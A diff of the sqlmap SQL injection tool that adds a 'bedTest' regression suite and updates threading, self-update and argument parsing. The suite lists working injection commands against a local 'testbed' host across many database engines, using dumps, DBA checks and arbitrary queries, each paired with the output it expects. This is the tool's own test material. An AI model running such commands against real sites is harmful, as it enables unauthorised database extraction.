dataToStdout("%s---\n" % clearColors(output))
dataToStdout("%s---\n" % output, coloring=False)
retVal = False
count += 1
@@ -140,6 +160,107 @@ def vulnTest():
return retVal
def bedTest():
"""
Runs the testing against 'testbed'
"""
TESTS = (
# MaxDB
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
# Informix
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
# Altibase
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
# CockroachDB
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
# CrateDB
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
# Drizzle
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
# Firebird
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
# H2
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
# HSQLDB
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
# IBM DB2
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
# MariaDB
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
# MySQL
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
# PostgreSQL
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
)
retVal = True
count = 0
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
for check in checks:
if check not in output:
print(cmd, check)
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % output, coloring=False)
retVal = False
count += 1
clearConsoleLine()
if retVal:
logger.info("bed test final result: PASSED")
else:
logger.error("best test final result: FAILED")
return retVal
def fuzzTest():
count = 0
address, port = "127.0.0.10", random.randint(1025, 65535)
@@ -191,7 +312,7 @@ def fuzzTest():
if "Traceback" in output:
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output))
dataToStdout("%s---\n" % output, coloring=False)
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
os.close(handle)
@@ -201,44 +322,12 @@ def fuzzTest():
count += 1
def dirtyPatchRandom():
"""
Unifying random generated data across different Python versions
"""
def _lcg():
global _rand
a = 1140671485
c = 128201163
m = 2 ** 24
_rand = (a * _rand + c) % m
return _rand
def _randint(a, b):
_ = a + (_lcg() % (b - a + 1))
return _
def _choice(seq):
return seq[_randint(0, len(seq) - 1)]
def _sample(population, k):
return [_choice(population) for _ in xrange(k)]
def _seed(seed):
global _rand
_rand = seed
random.choice = _choice
random.randint = _randint
random.sample = _sample
random.seed = _seed
def smokeTest():
"""
Runs the basic smoke testing of a program
"""
dirtyPatchRandom()
unisonRandom()
content = open(paths.ERRORS_XML, "r").read()
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
@@ -253,7 +342,7 @@ def smokeTest():
count, length = 0, 0
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")):
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
continue
for filename in files:
@@ -261,7 +350,7 @@ def smokeTest():
length += 1
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")):
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
continue
for filename in files:
+3 -2
View File
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
except Exception as ex:
from lib.core.common import getSafeExString
if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
@@ -175,7 +176,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
while alive:
alive = False
for thread in threads:
if thread.isAlive():
if thread.is_alive():
alive = True
time.sleep(0.1)
+9 -4
View File
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
identifiedDbms = Backend.getIdentifiedDbms()
if dbms is not None:
return self[dbms](expression, quote=quote)
elif identifiedDbms is not None:
return self[identifiedDbms](expression, quote=quote)
retVal = self[dbms](expression, quote=quote)
elif identifiedDbms is not None and identifiedDbms in self:
retVal = self[identifiedDbms](expression, quote=quote)
else:
return expression
retVal = expression
# e.g. inference comparison for '
retVal = retVal.replace("'''", "''''")
return retVal
unescaper = Unescaper()
+31 -1
View File
@@ -14,6 +14,7 @@ import time
import zipfile
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getLatestRevision
from lib.core.common import getSafeExString
from lib.core.common import openFile
@@ -27,6 +28,7 @@ from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import TYPE
from lib.core.settings import ZIPBALL_PAGE
from thirdparty.six.moves import urllib as _urllib
@@ -36,7 +38,34 @@ def update():
success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
if TYPE == "pip":
infoMsg = "updating sqlmap to the latest stable version from the "
infoMsg += "PyPI repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'pip' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = ""
try:
process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True)
output, _ = process.communicate()
success = not process.returncode
except Exception as ex:
success = False
output = getSafeExString(ex)
finally:
output = getText(output)
if success:
logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
else:
logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
@@ -95,6 +124,7 @@ def update():
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else:
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
+66 -18
View File
@@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException
from lib.core.option import _createHomeDirectories
from lib.core.settings import BASIC_HELP_ITEMS
from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORED_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HELP_OPTION_LENGTH
@@ -167,6 +168,9 @@ def cmdLineParser(argv=None):
request.add_argument("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values (e.g. ;)")
request.add_argument("--live-cookies", dest="liveCookies",
help="Live cookies file used for loading up-to-date values")
request.add_argument("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format")
@@ -266,6 +270,9 @@ def cmdLineParser(argv=None):
request.add_argument("--csrf-method", dest="csrfMethod",
help="HTTP method to use during anti-CSRF token page visit")
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS")
@@ -615,6 +622,12 @@ def cmdLineParser(argv=None):
general.add_argument("--answers", dest="answers",
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
general.add_argument("--base64", dest="base64Parameter",
help="Parameter(s) containing Base64 encoded data")
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
general.add_argument("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behavior")
@@ -673,7 +686,10 @@ def cmdLineParser(argv=None):
help="Parse and display DBMS error messages from responses")
general.add_argument("--preprocess", dest="preprocess",
help="Use given script(s) for preprocessing of response data")
help="Use given script(s) for preprocessing (request)")
general.add_argument("--postprocess", dest="postprocess",
help="Use given script(s) for postprocessing (response)")
general.add_argument("--repair", dest="repair", action="store_true",
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
@@ -682,7 +698,10 @@ def cmdLineParser(argv=None):
help="Save options to a configuration INI file")
general.add_argument("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log")
help="Regexp for filtering targets")
general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
help="Skip heuristic detection of SQLi/XSS vulnerabilities")
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS protection")
@@ -745,9 +764,6 @@ def cmdLineParser(argv=None):
help="Simple wizard interface for beginner users")
# Hidden and/or experimental options
parser.add_argument("--base64", dest="base64Parameter",
help=SUPPRESS) # "Parameter(s) containing Base64 encoded values"
parser.add_argument("--crack", dest="hashFile",
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
@@ -760,6 +776,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--debug", dest="debug", action="store_true",
help=SUPPRESS)
parser.add_argument("--disable-multi", dest="disableMulti", action="store_true",
help=SUPPRESS)
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
help=SUPPRESS)
@@ -793,6 +812,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
help=SUPPRESS)
@@ -850,7 +872,7 @@ def cmdLineParser(argv=None):
_ = []
advancedHelp = True
extraHeaders = []
tamperIndex = None
auxIndexes = {}
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv:
@@ -909,18 +931,25 @@ def cmdLineParser(argv=None):
except ValueError as ex:
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
for i in xrange(len(argv)):
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
# Reference: https://en.wiktionary.org/wiki/-
argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
# Reference: https://unicode-table.com/en/sets/quotation-marks/
argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
if argv[i] == "-hh":
argv[i] = "-h"
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
argv[i] = "--url=%s" % argv[i]
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
raise SystemExit
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
raise SystemExit
elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
@@ -928,19 +957,33 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w{3,}", argv[i]):
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
argv[i] = "-%s" % argv[i]
elif argv[i] in IGNORED_OPTIONS:
argv[i] = ""
elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = ""
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
elif argv[i].startswith("--data-raw"):
argv[i] = argv[i].replace("--data-raw", "--data", 1)
elif argv[i].startswith("--drop-cookie"):
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
index = auxIndexes.get(key, None)
if index is None:
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
auxIndexes[key] = index
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
delimiter = ','
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H":
if i + 1 < len(argv):
elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
if '=' in argv[i]:
extraHeaders.append(argv[i].split('=', 1)[1])
elif i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
elif argv[i] == "--deps":
argv[i] = "--dependencies"
